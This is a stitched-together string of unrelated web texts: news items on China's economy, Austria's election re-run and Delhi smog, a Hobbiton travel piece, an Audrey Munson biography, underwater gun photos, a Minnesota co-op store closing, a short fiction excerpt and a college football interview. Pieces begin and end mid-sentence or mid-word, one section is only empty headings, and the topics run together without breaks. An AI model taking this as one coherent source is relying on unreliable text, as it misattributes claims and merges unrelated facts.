Aponte, the council president, said he was disappointed that a "false dichotomy" had been created suggesting people are either pro-police or in favor of the proposed ordinance.Many analysts say China engineered a "soft landing" last year, but they're wrong. The Chinese economy was coming in for a landing (by reining in runaway credit growth), but then it started to look like it was going to be a hard one, and they waved off (by opening the credit spigots again). Now they're coming around for the another try, with bank regulators promising to crack down on the reckless explosion in shadow financing that has already produced a number of defaults. We'll see, in the months ahead, whether China's leaders are serious about reining in risk and forcing a real economic adjustment, or whether they're hopelessly addicted to a credit-fueled investment binge. But they can't keep flying around forever. The meager returns to China's latest credit splurge suggest that the fuel in China's gas tanks is running out. The engines are already starting to sputter. Their instincts are to pull up, when they really should be landing the plane.
Barry Naughton:
Are tiny fluctuations in China's reported GDP growth rate actually significant? In one sense, the market's reaction is frivolous. China's GDP numbers are extremely imprecise, and variations of a couple tenths of a percentage point are well within the margin of statistical error. US GDP figures for the first quarter of 2013 haven't even been published yet, and after they are published they will be revised several times (and typically revised by amounts larger than the shift in Chinese growth being reported here). The idea that Chinese statisticians are accurately picking up tiny fluctuations in the overall growth rate is preposterous.
But it a broader sense, I agree with Patrick that the recent data from China is significant, and roughly for the same reason he lays out. Lurking in the background of the current numbers are the broader changes of which all Chinese economists are aware: the Chinese economy is ending its super-high growth phase; labor force growth has essentially ended; and China is facing a new era in which the underlying growth potential of the economy is less. This change is overall not a bad thing. The reason the high growth phase is ending is because China has graduated early. Increasingly a middle income country, China has higher wages and a more diverse domestic demand pattern. These changes reflect a higher standard of living and an economy with broader capabilities.
Damien Ma:
I think the chatter about the growth rate coming in a bit lower than forecasts reflects, in part, the fact that the market may not have fully adjusted to the reality of China being able to sustain growth in the 7 percent-8 percent range going forward.
Should the growth rate cause worry? There are always plenty of things to be concerned about in the Chinese economy, such as local debt and sporadic asset bubbles. But if it's true what the NBS reports, that more than half of the 7.7 percent growth came from final consumption, than that's actually a positive development. Others may have better numbers or find the NBS estimate not credible. Though we might not know for sure until the numbers have been fully digested.By Eurasia Review
Video surveillance, police presence and walls that stop people from socialising in the streets. In France this is reality for the residents of suburbs that are upgraded. In a new thesis, a researcher from LiU shows that the people who have been tasked to improve these suburbs see them through their own filter of suspicion.
In the autumn of 2005 violent riots broke out in the suburbs of Paris after two young people died in a police chase. Since then, similar events have occurred throughout Europe, and in May 2013 there were similar problems in Husby, a Stockholm suburb, after a man was shot dead by a police officer.
”Most researchers agree that riots and confrontations between the police and young people are not solely a result of a rise in juvenile crime,” said Christophe Foultier, doctoral student at the Department of Social and Welfare Studies (ISV) at Linköping University.
In his thesis, entitled Regimes of Hospitality, Foultier shows how local development strategies increase isolation and social stigmatisation in vulnerable areas. In the strategies, which can include everything from renovation to employment programmes, he sees a conflict.
”On the one hand, the projects aim to get the residents involved, they try to get them to participate. On the other hand the residents are often viewed with suspicion by the same project. In a sense they are seen as a security threat, and in some cases this determines what gets built.”
A result of the conflicting messages is that the residents become sceptical to all the strategies, programmes and projects that try to get them involved. That is, the desire for security contributes to increased isolation and social stigmatisation.
Before Christophe Foultier started his doctorate he participated as a sociologist in a project to upgrade a Parisian suburb. At close range he saw how the needs of the residents were deprioritised in favour of other interests. For instance, 40 per cent of the residents were children – but those in charge didn’t want to build playgrounds. This aroused his interest in researching the issue.
Foultier investigated how local development strategies affect residents in two suburbs outside Paris, Le Franc-Moisin-Bel-Air and Les Cinq Quartiers. He saw that local politicians, housing companies and other local stakeholders built a society according to their own images of threat and security – an image often founded on racist preconceptions. As a result, the residents’ home environment features video surveillance of public spaces, digital locks, magnetic locks, police and fences and walls that prevent people from gathering. What security means to the people who live there is not a consideration.
”I interpret it as a question of power and a way to control the suburbs. Academics as well as politicians need to listen to this knowledge, because our suburbs are in a state of crisis – both in France and in Sweden.
In a new project, Christophe Foultier is going to investigate how local development strategies, and how they affect two Swedish suburbs. This will then be compared with the French examples.MoulinBlu May 31, 2014 @wnicholas76: I don't consider selling out before the doors opened, to BB employees, because they ordered so pathetically few steelbooks for Thor 2, "selling like hotcakes". Major release, advertised in a way that implied they'd have the usual on hand, yet the two nearest BBs to me only got a few steelbooks each. I actually managed to get one, but couldn't pass up selling it for the rediculous amounts they were going for. I was still appalled that BB didn't order more for something they nationally advertised. You lose customers over stupid stuff like that.
@neoz: Look again, the 3D combo doesn't include a standard dvd either. It's rather funny, how the majors are going away from including dvds in combo packs at the same time Criterion is foolishly starting to include them.
If Disney (or any other studio) is going to offer less content, whether it be discs, or extras, they need to lower their prices accordingly. Unfortunately, that doesn't mean amazon will lower theirs too.
I'm in for the 3D edition, for the 3D disc, not the vaporware.My father used to travel on Concorde. When asked about seeing the curvature of the Earth, he thought it was pretty imperceptable, albeit beginning to become noticable, and probably due more to the power of suggestion or camera distortion than anything else. He thought, apparently, you have to go up in the likes of U2 aircraft (70,000 feet) before one really has a spectacular view of the Earth's curvature, although of course the view from Concorde certainly was unique and spectacular. I only flew it once when a child.It might also be a very subjective thing, "seeing" the curvature of Earth. Technically, one could see this on a beach as a tall ship approaches over the horizon. This would be even more true in the open ocean, where one has an unobstructed view in all directions, when some people I know have claimed to be able to see the curvature. Or as others have said, just before dawn or right after dusk when a thin sliver of light remains. Being above the weather, even in subsonic aircraft, also seems to reinforce the perception of being able to see the Earth's curvature, which certainly was true of Concorde.But I've never seen any photos from any civilian aircraft as spectacular as some of stuff coming from weather balloons and military aircraft. If commercial space travel ever becomes viable, I would want to do it just to see sights such as those.An empty road winds through bucolic farmland in the green Waikato region of New Zealand. I don’t pass another soul for twenty minutes and then, suddenly I drive around a bend and there’s a hive of activity!
By which I mean 20 people (New Zealand is never very crowded) enjoying breakfast at The Shire’s Rest Café. I have arrived at Hobbiton New Zealand, ready for some escapist fantasy, Tolkien style.
Where is Hobbiton?
The film set built for the Lord of the Rings trilogy, then repaired and expanded for the filming of The Hobbit movies, is near the tiny township of Matamata, New Zealand, and is owned by New Line Cinemas. It is on private land – New Zealand doesn’t have the sort of public right of access you find in places like England. The drive from Auckland to Hobbiton takes around three hours.
But a partnership between LOTR/Hobbit director Peter Jackson and the family who own the farm have turned the Hobbiton movie set into a tourism magnet for this little visited part of New Zealand.
The Alexander family farm is approximately 500 hectares, with 14,000 Romney sheep and 600 black Angus cattle in residence. The Hobbiton film set is away over the back of the farm so there’s little chance to seeing it without going on a guided tour.
Hobbiton movie set
Hobbiton Tours run from either the Shire’s Rest Café (and farm experience) at the roadside or from Matamata. It’s a ten minute bus ride from the cafe to the Hobbiton movie set itself and the guides are friendly local folk.
The Hobbiton entrance fee is NZ$84 for an adult ticket (making attraction out of reach for many New Zealanders and travellers) but the Matamata Hobbiton is proving very popular, including with Tolkien fans who come dressed as Elves and Hobbits ready to dance in the party field.
They can even have a drink at the Green Dragon Pub and there are various meal add-ons. The Hobbiton village film set façade – part of the Mill, marketplace, stone bridge ensemble – has been expanded into a proper pub and venue.
According to the tour guide a 6’5” German fellow threatened to stay in his “home” and it took most of the day to persuade him to leave. Two couples have already got married here at Hobbiton New Zealand.
So what drew Peter Jackson and his LOTR film set scouts to the countryside of the Waikato back in 1997? Vistas of the Kaimai Ranges are blue in the distance and in the foreground is rolling green farmland with scattered treelines. It also has … the Party tree … a huge old pine that is slowly dying and which the Alexander family apparently were about to have cut down! It proved the perfect place to recreate The Shire New Zealand-style.
Hobbiton is really charming, with 44 hobbit houses (five new ones were built for The Hobbit filming) and immaculately kept gardens. Jackson insisted on real gardens with edible vegetables and the scent of honeysuckle was heavy on the air.
It is easy to lose yourself in a Tolkienesque fantasy and difficult to imagine there being 200 or so vehicles parked here and many hundreds of people working on the LOTR and Hobbit films. There was a food tent that catered for four to six hundred people every day.
Gandalf’s cutting, the party field, the Gaffer’s cottage and of course Bag End with its fake tree atop the Hill and the bench on which Bilbo and Gandalf blow their smoke rings. It’s all here in glorious detail.
Of course Hobbiton tours are only the start of exploring the many filming locations for the Lord of the Rings and Hobbit movies in New Zealand.
By Natasha von Geldern
Are you a Tolkien fan? Would you visit the Hobbiton movie set in New Zealand?
If you liked this post why not pin it?You've never seen an Audrey Munson movie, but you might have seen the many statues of her in Manhattan. Now learn the sad story of the first woman to get naked in a motion picture. Artistically NSFW pictures within.
Audrey Munson's career began like a fairy tale. Her life ended like an existential horror movie.
While it's unlikely that you've ever seen any of Munson's films (she appeared in four silent movies, all thought lost until recently, when one was discovered in a French archive) you may have seen her face - at least if you've ever been to New York City. Munson's career began as a sculptor's model, and her likeness is enshrined in at least 15 statues dotting the island of Manhattan. Perhaps the most notable is the USS Maine Monument at Columbus Circle, or the golden statue Civic Fame atop the Manhattan Municipal Building (most famous for movie nerds as where the Ecto-1 drives when visiting the Mayor in Ghostbusters). She's also immortalized in dozens of other sculptures around the country, and her figure made up 75% of the female sculptures at the Pan-Pacific Exposition in San Francisco in 1915 (the World's Fair, essentially).
Civic Fame, atop the Manhattan Municipal Building
Munson and her recently divorced mother arrived in New York City (either from upstate New York or Rhode Island, accounts vary) in 1906. Munson was 15 and dreamed of being a dancer; one day while walking the streets she met a photographer who, struck by her beauty, took her on as a model. The photographer introduced Munson to the famed sculptor Isidor Konti, and from there she quickly became one of the most sought-after models in all of New York. She was a socialite and a media darling.
In 1915 Munson moved to California, probably on the heels of her experience modeling for the Pan Pacific Exposition statues. New to Hollywood she broke a major barrier, becoming the first nude woman to appear in an American movie. This may require a bit of explanation: as you would expect, one of the first things to be made using a film camera was pornography. In this case it was a recording of a striptease in 1899, with the earliest record of a hardcore porn film in 1908. By the time that Munson was in California there was already a stag film industry, possibly located in South America but definitely also taking advantage of the young girls moving out to California.
Munson in Inspiration, a lost film from 1915
Munson's breakthrough was to be the first naked woman in a non-porn movie. The movie was Inspiration, and Munson was cast as a sculptor's model. In the film she appears naked a number of times, re-enacting famous poses from paintings. The mixture of high art and nudity forced the censors to back off, and Munson's future films were all in the same vein - young girl disrobes as a high art model. The four movies were thought lost, but apparently a single copy of Purity exists - although it has not been shown to the public. The film's synopsis gives you a sense of what Munson's films were like:
Purity (Munson), a simple country girl, comes to the city and is hired as an artist's model. A young poet becomes obsessed with her, and is distraught when he learns she has been posing nude. But his distress is diminished when he finds that she intends to use her income from modeling to publish his poetry.
The movies were successes (I found a San Francisco newspaper article touting the arrival of Purity at local theaters, claiming thousands were turned away during the New York run), but Munson moved back to New York in 1919. In 1921 she made one last movie, Heedless Moths, which is notable for a couple of things. It's another movie that has Munson playing a model - this time herself - but Munson contributed to the story this time. And Hedda Hopper, later to become Hollywood's nastiest gossip columnist, also stars.
Munson in Heedless Moths, her final film, also lost.
Munson and her mother ended up staying with a wealthy Long Island doctor and his wife; after a while the wife began to suspect her husband had fallen for the famous model. She kicked the Munsons out; not long after the wife turned up murdered. Her husband was convicted, despite claiming burglars had done the crime, and he hung himself in his jail cell.
During the 20s Munson wrote a series of articles for William Randolph Hearst's New York Journal American, mostly about modeling and modern standards of beauty. “All girls cannot be perfect 36s, with bodies of mystic warmth and plastic marble effect, colored with rose and a dash of flame,” she wrote. “Of course not.”
In another article she considered her own legacy: “What becomes of the artists’ models? I am wondering if many of my readers have not stood before a masterpiece of lovely sculpture or a remarkable painting of a young girl, her very abandonment of draperies accentuating rather than diminishing her modesty and purity, and asked themselves the question, ‘Where is she now, this model who was so beautiful?’”
One of Munson's columns in the New York Journal American.
Not long after, things began to get bad for Munson. The fallout from the murder case had destroyed her career, and she and her mother returned to upstate New York, living in a town called Mexico. Munson began claiming she was engaged and would become a Baroness. In 1922 she attempted suicide by poisoning herself; this sparked a media frenzy and the tabloids of the time investigated her beau but couldn't find any such person in the world. She seemed to have made him up.
Once the center of attention, Munson began staying home, avoiding others. A series of barn-burnings in her town aroused suspicion, and in 1931 she found herself in front of a local judge. He sentenced her to be incarcerated in an insane asylum... where she would spend the next SIXTY-FIVE YEARS. Audrey Munson died in 1996, aged 105.
Munson was suffering from depression and possibly schizophrenia; in modern times she would have been treated simply with medication. In her own time it was a life sentence. She was 39 years old when she entered that asylum - she lived more than half her life locked away as a madwoman. She lived an entire lifetime locked away.
Immortalized in stone during her lifetime, Munson today is anonymous in death. She was buried in her father's cemetery plot in an unmarked grave.
Audrey Munson in Purity, believed to be her only surviving film.
Note: some of the dates and details of Munson's life are hard to nail down. Please excuse any minor inaccuracies.Splish, splash, bang, bang: Stunning photographs reveal beauty of shooting handgun UNDERWATER
Firearm aficionado Andrew Tuohy has filmed himself firing a range of weapons, but never before underwater.
The gun expert has posted a series of images, as well as a video, to his blog Vuurwapen to show the different effect each gun has in his swimming pool.
After being triggered, a tornado forms at the end of the gun for a few short seconds before the bullet sinks down to the bottom and surrounding bubbles float to the surface.
Glock 22: The gun expert has posted a series of images, as well as a video, to his blog Vuurwapen to show the different effect each gun has in his swimming pool Splash: Firearm aficionado Andrew Tuohy has filmed himself firing a range of weapons, but never before underwater. The pistol pictured is a Kimber 1911 firing Federal HST 230gr hollow points Tornado: After being triggered, a tornado forms at the end of the gun for a few short seconds before the bullet sinks down to the bottom and surrounding bubbles float to the surface. This is a 230gr HST leaving the Kimber 1911
Mr Tuohy took his.40 Glock 22 into his swimming pool and fired.
He recorded the effects with his Pentax Optio WG-2 waterproof compact camera, which can record 120 frames per second.
The firearm was not damaged during the video, but Mr Tuohy said the kickback was strong.
More than 30,000 people have viewed it on YouTube.
Don't Try This At Home: Mr Tuohy took his.40 Glock 22 into his swimming pool and fired
Ouch: The firearm was not damaged during the video, but Mr Tuohy said the kickback was strong Glock: The video has more than 30,000 views
But Mr Tuohy isn't just firing the guns for fun, he collects the bullets to make 'tactical flowers' for his mother.
The resistance of the water causes the bullet to expand in perfect formation, creating beautiful lead blossoms.
'As pretty as this stuff is to look at, it is also painful - I have plenty of scars from being sliced and poked by metal objects, but holding those bullets in my hand almost made me shiver,' he said.
'I would definitely not want to get shot by any of that stuff.'
The Good Son: But Mr Tuohy isn't just firing the guns for fun, he collects the bullets to make 'tactical flowers' for his mother. Clockwise from top left, blue topaz in.45 HST 230gr, African sapphire in 9mm HST 147gr, tsavorite in.40 HST 165gr, peridot in 9mm HST 147gr, pink sapphire in.38 Special 110gr DPX. Wow: This shot shows him firing a.45 Kimber 1911 Mother: He also soldered the 'flowers' onto some'stems' to complete the effect
He experiments with different bullets and guns to create different effects, claiming the results possessed an 'evil beauty.'
He also soldered the 'flowers' onto some'stems' to complete the effect.Predictions for 2014
Broad predictions for USA
Politics:
Economics:
Fed:
Specfic predictions:
Europe Broad Predictions:
Politics:
Economics:
Transatlantic trade block:
Specific Predictions for 2014
Transpacific Trade Block
The Indo Gulf trade block
Other global events:
Wars
North Korea:
China Japan
Afghanistan.
Pakistan:
Syria:
Egypt
South America
Specific predictions for the world events – for 2014
Transatlantic alliance:
Transpacific alliance:
Military activity in Pacific:
Military activity in Korea:
Military activity in Gulf:
Syria
Iraq
Iran
Afghanistan
x09Egypt
Country wise economic broad and specific predictions.
China:
Nikkei
Australia
Gulf
Brazil
India:
Politics:
For detailed predictions:
Economics:
RBI rates:
Rupee:
Stock:
Sectors:
Bond rates:
Gold:
Real Estate:
Best performace in real estate:
Worst performance in real estate:
Stagnant prices:
Agriculture:
Chances of War:
Summary of Predictions by end 2014
ASSET RECOMMENDATIONS
Decadal
Yearly
Balancing of existing allocations for 2014:
I am making this briefer than last year because the main problem is the Indian elections. Everything else depends on that. I have already written on elections.Not much to happen. Budget issues should go through with wranglingSlow improvement throughout 2014 is likely. Jobs will keep growing as the workforce retrains. Corporate investments will continue to be slow and the 2 trillion cash pile with corporate will still not get fully deployed.Likely to pause taper after the bond rate reaches some 3.25 to 3.5 5 and then keep rates at around this level for the remainder of 2014. Short term rates will remain 0. Probably the comfort level for the bond rate is likely to be achieved around 40 billion repurchases per month levels and this should be achieved around April 2014.Stocks – stagnant. Dow 17000 by end of 2014.Bonds – slow fall to bond rates of 3.5% or so, as targeted by FedDollar strong. Dollar index 83-85 by end of 2014REIT – Expect about 5% annual return from REITS.Real estate – stagnant in both old and new areas after recent run upGold – stagnant at about 1150-1250 range.For Indian investor: US market can be completely avoided, with the sole exception of US REITS for the sake of 5% dollar denominated returns.Conservatives and Christian Democrats continue in West Europe.Slow grind without too much out performance by both UK and German companies. Steady migration of East Europeans into both these economies should help achieve 3-4% growth for 2014. France less than these two. Italy slow improvement in manufacturing. Spain and other lower country Europe stagnant. East Europe good steady growth of 3-4% based on better jobs for their population, increased training levels and also based on remittances from expat workers.This is a major development for 2013 – and presages increased economic co-operation between the North Americans and the Europeans. UK sitting in the middle is likely to be the biggest beneficiary of this future development of a 40-50 trillion GDP economic superpower which is well on the way to being created. This development dwarfs all previous trade zones and will bring great economic benefits. Central to this trade block is the export of energy from USA and the export of engineering technology by Germany. This trade zone is likely to benefit from the upward migration of the Eastern Europeans and the Southern Europeans to higher levels of productivity and will involve increased transnational labour |
ods and crustaceans. The main source of chitin is shells from lobsters, crabs and shrimp. IMAGE: © iStock Photo OKRAD
The polysaccharide polyelectrolyte complex coatings performed well in research, the findings of which were published recently in Green Chemistry. Paperboard coated with the biomaterial, comprised of nanostructured fibrous particles of carboxymethyl cellulose and chitosan, exhibited strong oil and water barrier properties. The coating also resisted toluene, heptane and salt solutions and exhibited improved wet and dry mechanical and water vapor barrier properties.
"These results show that polysaccharide polyelectrolyte complex-based materials may be competitive barrier alternatives to synthetic polymers for many commercial applications," said Catchmark, who, in concert with Penn State, has applied for a patent on the coatings.
"In addition, this work demonstrates that new, unexpected properties emerge from multi-polysaccharide systems engaged in electrostatic complexation, enabling new high-performance applications."
Catchmark began experimenting with biomaterials that might be used instead of plastics a decade or so ago out of concerns for sustainability. He became interested in cellulose, the main component in wood, because it is the largest volume sustainable, renewable material on earth. Catchmark studied its nanostructure — how it is assembled at the nanoscale.
He believed he could develop natural materials that are more robust and improve their properties, so that they could compete with synthetic materials that are not sustainable and generate pollution — such as the low-density polyethylene laminate applied to paper board, Styrofoam and solid plastic used in cups and bottles.
"The challenge is, to do that you've got to be able to do it in a way that is manufacturable, and it has to be less expensive than plastic," Catchmark explained. "Because when you make a change to something that is greener or sustainable, you really have to pay for the switch. So it has to be less expensive in order for companies to actually gain something from it. This creates a problem for sustainable materials — an inertia that has to be overcome with a lower cost."
Image The amazingly sturdy and durable bond between carboxymethyl cellulose and chitosan is the key. The two very inexpensive polysaccharides, already used in the food industry and in other industrial sectors, have different molecular charges and lock together in a complex that provides the foundation for impervious films, coatings, adhesives and more. IMAGE: Penn State
Funded by a Research Applications for Innovation grant from the College of Agricultural Sciences, Catchmark currently is working to develop commercialization partners in different industry sectors for a wide variety of products.
"We are trying to take the last step now and make a real impact on the world, and get industry people to stop using plastics and instead use these natural materials," he said. "So they (consumers) have a choice — after the biomaterials are used, they can be recycled, buried in the ground or composted, and they will decompose. Or they can continue to use plastics that will end up in the oceans, where they will persist for thousands of years."
Also involved in the research were Snehasish Basu, postdoctoral scholar, and Adam Plucinski, master's degree student, now instructor of engineering at Penn State Altoona. Staff in Penn State's Material Research Institute provided assistance with the project.
The U.S. Department of Agriculture supported this work. Southern Champion Tray, of Chattanooga, Tennessee, provided paperboard and information on its production for experiments.The Austrian Constitutional Court has ruled that the presidential election must be held again. The vote, which took place on May 22, saw far-right candidate Norbert Hofer narrowly lose by just 31,000 votes, with Alexander Van der Bellen claiming victory.
Hofer, who was running for the Freedom Party (FPO), learned of the ruling halfway through giving an interview to RT and even afforded himself a brief smile as the news began to sink in, as he was congratulated by his fellow FPO colleague, Barbara Kappel.
Read more
“A lot of mistakes have been made during this election and now the results cannot correspond to the real results and that is why we will have a re-run of the election,” he told RT.
However, Hofer, who lost by the slenderest of margins is not looking into the past and already has plans for the future.
“We will start our election campaigns for the next months and we will just talk about the policies of our political party and we will convince the public that we have the right policies. I hope I can convince the public that I have the right answers for the future,” he added.
The final count in May’s vote showed that Van der Bellen, who was endorsed by the Green Party had 50.3 percent of the vote, compared to Hofer’s 49.7 percent. However, Austria’s highest court says the election needs to be re-run after ruling in favor of the Freedom Party, which alleged gross irregularities had taken place with regard to the absentee vote count.
"The contest is allowed to go forward. The proceedings of the second ballot of the federal presidential election of May 22, 2016 will be annulled, from the announcement of May 2, 2016, by the Federal election institution; in as far as it contains the decree of a second ballot. To put it simply: this means that the entire second vote will have to be repeated across Austria,” said Gerhard Holzinger, the head of Austria's Constitutional Court.
Read more
The far-right party said the law had been broken in most of the 117 electoral districts, and this included the sorting of absentee ballots before electoral commission officials arrived at the scene. Other alleged irregularities concerned the way the ballots were counted, including the premature processing of postal votes.
In June, the Interior Ministry said it had thrown out 23,000 votes because they were counted or processed before 9am on the day of the election. A further 2,000 votes were also declared void due to more serious violations, which included some underage teenagers casting ballots.
"Because... of the enormous amount of postal voting ballots it would barely have been possible to provide a result in time starting on the Monday at 9am," Innsbruck-Land voting district head Wolfgang Nairz told the court, according to Reuters.
Van der Bellen says that the re-run of the presidential election is likely to take place in either late September or early October.
Hofer and the FPO had been campaigning under an “Austria first” mantra and had voiced their strong opposition to “forced multiculturalism, globalization and mass immigration.” The stance earned Hofer a surge in support due to the deepening frustration at the current ruling parties and how they are dealing with the refugee crisis that has engulfed Europe.GODAHL, Minn. — For 122 years, the Godahl Store has been the gathering spot and general store for this tiny farming community straddling Brown and Watonwan counties.
At the end of the day Saturday, the store will close its doors for good, succumbing to inevitable economics.
“The operations of the store have been subsidized by community fundraising for years,” said Carlie Olson, who lives near Godahl and whose husband is on the board that oversees the store’s operations.
Built in 1894, it is the oldest consumer cooperative general store still operating in Minnesota and the third oldest in the United States.
Olson said because of the low volume of merchandise sold, vendors would no longer deliver milk, household cleaners, nonperishable food and other staples to the rural outpost, leaving board members and supporters to buy things in other communities to stock the store.
“There’s been a ton of support in the way of fundraising, but it reached a point where it couldn’t be sustained,” Olson said.
The store, officially called the Nelson and Albin Cooperative and Mercantile Association, has always been much more than a store, and Olson and others hope to preserve the building as a community center.
“It’s always been a community gathering place. There is a group of men that come for coffee every day, there’s teams that play baseball and softball in Godahl that come in and are tied to it. It has a lot of historical significance to the farmers in the area.”
Godahl has around 20 residents in its borders, but the larger farming area around it, and nearby towns of Hanska and St. James, have always embraced the enclave, which also features a well-used baseball/softball field complex and playgrounds.
Gary Sturm, mayor of St. James, said the area has always been proud of the community. Related Articles Judge dismisses charge against Minnesota council member who berated reporter
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“They have a great ball field up there that’s used a lot. They take a lot of pride in their community, which is understandable,” Sturm said. “It’s unfortunate the store’s closing. They’ve tried so hard for so long to keep it open.”
Godahl is perhaps best known for its annual Godahl Labor Day celebration, which for 60 years has drawn large crowds for the parade and other events.
Olson said that next month the board will hold a community meeting to get ideas on how to proceed. She said some are hoping a nonprofit can be set up and funding secured to maintain the building, which is on the National Register of Historic Places. She said the hope is it can still be opened at times and used as a community center.
The ownership of the building, however, is a bit ambiguous. It was owned by the co-op members in the area. But Olson said there are no longer any shareholders or certificate holders.
“They were all forfeited years ago when there was no profit,” she said.
With no clear ownership, the board will make decisions on moving forward, but Olson said it will be driven by area residents’ wishes at the community meeting.
“Everyone who attends has a right to vote and the board decisions will be based on what the people want,” she said.
Taking its name from Nelson and Albin townships that Godahl straddles, the Nelson and Albin Cooperative Mercantile Association was established in 1894. With bylaws written in Norwegian and shares available at $20, the association contracted with 10 men to construct the store opposite the Godahl creamery. Related Articles 3M launches data lab to improve how it markets its consumer products
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In 1895 a warehouse was added to store hardware like nails and fencing, and the following year the main building was expanded with an addition wrapping around the north side and rear.
In 1905 the store installed one of the first telephones in the area, and later housed a branch of the Watonwan County Library.
The exterior was modified in 1916. The building’s false-front facade and small south addition were likely added at this time.Kyle Lewis, an architecture student at CPIT in Christchurch, NZ, shared with us a call for design to help rebuilt Christchurch after last February’s earthquake. Here’s the message:
As you may know, an earthquake has destroyed most of the Christchurch City Centre and many of the surrounding suburbs. We want to rebuild with a plan for a sustainable future but we need help getting there. Put simply: We need advice, experience, know-how, and designs on the best ways to implement sustainable change. We have the energy of the people and support of the government with $15 billion earmarked for the rebuild. But we lack visions for how a sustainable city will look and function. We know solutions exist and invite the contributions and experience of designers from around the world. A socially, economically and environmentally sustainable city is not beyond our capacity. Can you help us get there?
It is my hope that collaborations between local and global communities will have the power to enact change. We are using Reddit as our central meeting place. Reddit is an online community that has gained notoriety for its ability to solve real-world problems. Can our local community and the reddit community work together to design solutions? Can we tap the greater global wisdom to address our community’s needs? Specifically we are asking for proposals. These can be submitted to our page on reddit: http://www.reddit.com/r/projectChristchurch/ or emailed directly to (projectChristchruch@gmail.com).Prime Minister Malcolm Turnbull has backed US President Donald Trump's fiery language on North Korea, saying "the whole country will be wiped out" and "many, many thousands of innocent people will die" if the regime attacks the United States or its allies.
In his sternest warning yet to North Korea, President Trump told the United Nations General Assembly the United States will be forced to "totally destroy" North Korea unless Pyongyang backs down from its nuclear challenge, and mocked North Korean leader Kim Jong-un as a "rocket man" on a suicide mission.
At President Trump's first appearance at the assembly's annual gathering of world leaders, he emphasised it was against the interest of the entire world for North Korea, which he called a "band of criminals", to obtain missiles and nuclear weapons.
Unless North Korea backed down, he said, "we will have no choice but to totally destroy North Korea."Photos: New Delhi chokes on smog A Delhi policeman stands guard at the war memorial India Gate engulfed in a thick smog in New Delhi, India, on November 6, 2016. Hide Caption 1 of 7
Photos: New Delhi chokes on smog Protesters wearing protective masks take part in a rally urging immediate action to curb air pollution in New Delhi on November 6, 2016. Hide Caption 2 of 7
Photos: New Delhi chokes on smog Schools in the Indian capital have been closed for the three days as the city struggles with one of the worst spells of air pollution in recent years. Hide Caption 3 of 7
Photos: New Delhi chokes on smog Young Indian runners take part in the New Delhi 10K Challenge amid heavy smog on November 6. Hide Caption 4 of 7
Photos: New Delhi chokes on smog Indian women walk as smog envelops the Jama Masjid Mosque in the old quarters of New Delhi on November 3. Hide Caption 5 of 7
Photos: New Delhi chokes on smog Indian commuters walk through the smog in the old quarters of New Delhi. Hide Caption 6 of 7It’s strange how quiet the apartment is now.
There’s no music blasting through Clara’s speakers. I can’t hear her gabbing away on the phone with Florian or Lena. I can’t hear anything, except my pencil scratching against the paper.
Clara was a total mess when she left this morning. Worrying, apologizing, almost crying. “You shouldn’t be alone.” She kept saying. I know she felt terrible about having to go.
But it’s not like she had a choice.
The twins are due in less than three weeks – which basically means they could come any day now. And Clara wants to be back home in Windenburg when they do, of course… Which means going home early, and leaving me to spend the last month and a half of the semester on my own.
And normally, I think I’d like the peace and quiet.
But not now.
It’s only been a few hours since she left, and it’s already starting to get to me. The silence. The emptiness.
It’s not like I even have any friends on campus I can turn to. I’ve always kinda kept to myself… And Elliot — probably the closest thing to a friend I’d have left here at school — isn’t even on the continent anymore. He went back to Willow Creek at the start of the semester.
I’m all alone.
There’s nothing to distract me. Nothing to stop me from thinking about… everything. The horrible shitstorm that is my life right now.
I’ve been thinking about my parents. I think about when they showed up here last week. I think of how horrible it was to hear maman cry like that. I think of how hurt and sorry Papa sounded when he talked to me. I think of how much I wanted to open the door and rush into their arms.
But I didn’t.
I stood my ground. I kept the door shut. I told them I hate them. I waited in my room until they finally left me alone.
I’ve been thinking about Luc a lot too… I guess I have Florian to thank for that. After he helped Clara load up the car, he pulled me aside. “Lucas is really worried,” he told me. “He wants to talk to you.”
Was that supposed to make me feel better, or something? Because it didn’t. Not one bit. All it did was remind me of how angry I am. Of how this is all his and Hazel’s fault.
And of how I never want to speak to either one of them again.
Of course, there’s one more person I’ve been thinking of too.
But that’s not anything new.
I’m sure I’ll get used to it eventually – being alone. Having nothing better to do than feel miserable all the time. Sitting in the silence, dwelling on the past, and fearing the future.
Guess that’s gonna be my life for the next couple months, until I go back home.
And after that…
Well, that’s the part I don’t want to think about.
AdvertisementsESPN's Kirk Herbstreit waits for an NCAA football game, Saturday, Sept. 19, 2015, in Tuscaloosa, Ala., between Alabama and Mississippi. (AP Photo/Butch Dill) (Photo: Butch Dill, AP)
While preparing for the 1992 season-opener against the University of Louisville, former Ohio State quarterback Kirk Herbstreit studied film of a U of L game at old Cardinal Stadium.
"I remember looking at the field that they played on, and I was like, 'What in the world is this? Is this the state fairgrounds?'" Herbstreit said Monday, drawing laughs from hundreds at the Galt House.
"It is the state fairgrounds. It's still there," reminded WHAS radio host Terry Meiners, who interviewed Herbstreit on stage as part of a Kickoff Luncheon to benefit 21st Century Parks.
The evolution of Louisville's athletic facilities – since the Cards played in that old minor league baseball stadium at the fairgrounds – has been one of the most impressive transformations by an athletic department anywhere, said Herbstreit, who's now a famed college football analyst for ESPN. When he comes in town each year for the Kentucky Derby, the relatively new facilities for football, baseball, softball, track and basketball always catch his eye while he's driving.
"I don't know if anybody has done more in the last 15 years than what Louisville has done as far as facilities," Herbstreit said. "When you're an 18-year-old (recruit) and you see these facilities, that is a big deal, and it shows a commitment, shows a direction, and obviously they're in a new conference.... I think the momentum for this school is going in a direction where there's a lot of excitement."
Herbstreit said that in the early and mid-2000s, U of L had some talented football teams with good quarterbacks and felt like "the little engine that could." He called the rain-drenched 2002 upset of Florida State a high point that helped advance the program.
"You go back to like 2005 to where we are now, and I would argue that Louisville has made as much of a jump in the last decade as anybody in the country," Herbstreit said. "A lot of that has to do with Tom (Jurich's) leadership, the people he's been able to hire around him, the facilities, the uniforms, just everything, being in the ACC. All this stuff to an 18-year-old matters. When your brand becomes cool to an 18-year-old, that's 90 percent of the battle."
► ON THE 2016 FOOTBALL TEAM: As for the Cardinals' upcoming season, Herbstreit said ACC Atlantic Division rivals U of L, Clemson and Florida State could all be "top-10, top-12" teams nationally entering the year.
"Bobby Petrino may be the best or one of the best play-callers in the country," Herbstreit said. "You bring back a lot of experience, a lot of depth at receiver, a lot of speed, and then you have a good enough defense to keep you in every game. There's reason to be very, very optimistic."
He said sophomore dual-threat quarterback Lamar Jackson's skill set doesn't necessarily fit with Petrino's traditional pro-style offense, but Herbstreit praised Petrino as a coach who is willing to adjust his system to cater to Jackson's strengths.
